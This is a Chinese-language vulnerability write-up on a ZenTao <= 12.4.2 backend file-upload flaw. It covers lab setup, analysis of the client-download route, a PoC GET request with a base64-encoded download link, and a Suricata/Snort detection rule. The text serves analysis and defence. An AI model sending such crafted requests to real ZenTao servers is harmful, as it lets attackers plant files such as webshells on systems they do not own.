禅道 <= 12.4.2 后台文件上传漏洞 (CNVD-C-2020-121325)

环境搭建

mkdir /data/zbox/ &&
docker run -d -p 80:80 -p 3306:3306 \
        -e ADMINER_USER="admin" -e ADMINER_PASSWD="password" \
        -e BIND_ADDRESS="false" \
        -v /data/zbox/:/opt/zbox/ \
        --add-host smtp.exmail.qq.com:163.177.90.125 \
        --name zentao-server \
        idoop/zentao:latest

漏洞利用

文件上传

漏洞分析

文件上传

根据 禅道 源码分析得知,禅道内部路由方式调用函数的方式为上图所示,即调用 download 函数的时候请求的 url 为 $module-download-1.html

文件上传

文件上传

根据源码所示逻辑,当访问 download 函数时提供两个参数 versionlink ,downloadZipPackage 函数会创建 version 文件夹并下载 link 文件到该文件夹,根据上述逻辑构造 poc 如下

GET http://172.16.29.3/zentao/client-download-1-ZnRwOiBodHRwOi8vMTI3LjAuMC4xL3Rlc3QudHh0-1.html

这个接口正常的作用是用来下载更新,具体如下:

文件上传

GET http://172.16.29.3/zentao/

通过 GET 的方式请求 http://172.16.29.3/zentao/

client-download-1-ZnRwOiBodHRwOi8vMTI3LjAuMC4xL3Rlc3QudHh0-1.html

这个为向接口传递参数的格式,client-download 为这个函数调用的路径 1 本意是传递下载文件的版本号 ZnRwOiBodHRwOi8vMTI3LjAuMC4xL3Rlc3QudHh0 为 base64 加密后的文件下载地址,最后一个 1 为下载文件针对的 os 版本。

/zentao/client-download-3.3-aHR0cHM6Ly9kbC5jbmV6c29mdC5jb20vemVudGFvY2xpZW50LzMuMy96ZW50YW9jbGllbnQud2luNjQuemlw-win64zip.html

防御方式

由于暂未充分了解该函数的具体功能及可能出现的各种状况,根据防止高危入侵的原则,流量侧检测逻辑为: base64 加密后的 link 为 php 文件,可以进行拦截

进一步分析后可以使用的检测方案为:

suricata && snort 检测规则

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP 禅道 <= 12.4.2 后台文件上传漏洞"; flow:to_server; content:"GET"; http_method; content:"client-download"; http_uri; nocase; fast_pattern; pcre:"/client-download\-.+\-(?!(aHR0cHM6Ly9kbC5jbmV6c29mdC5jb20vemVudGFvY2xpZW50))[a-zA-Z0-9\=]{0,}.+\.html/I"; classtype:web-application-attack; sid:123; rev:1; metadata:2020_10_27,by_co0ontty;)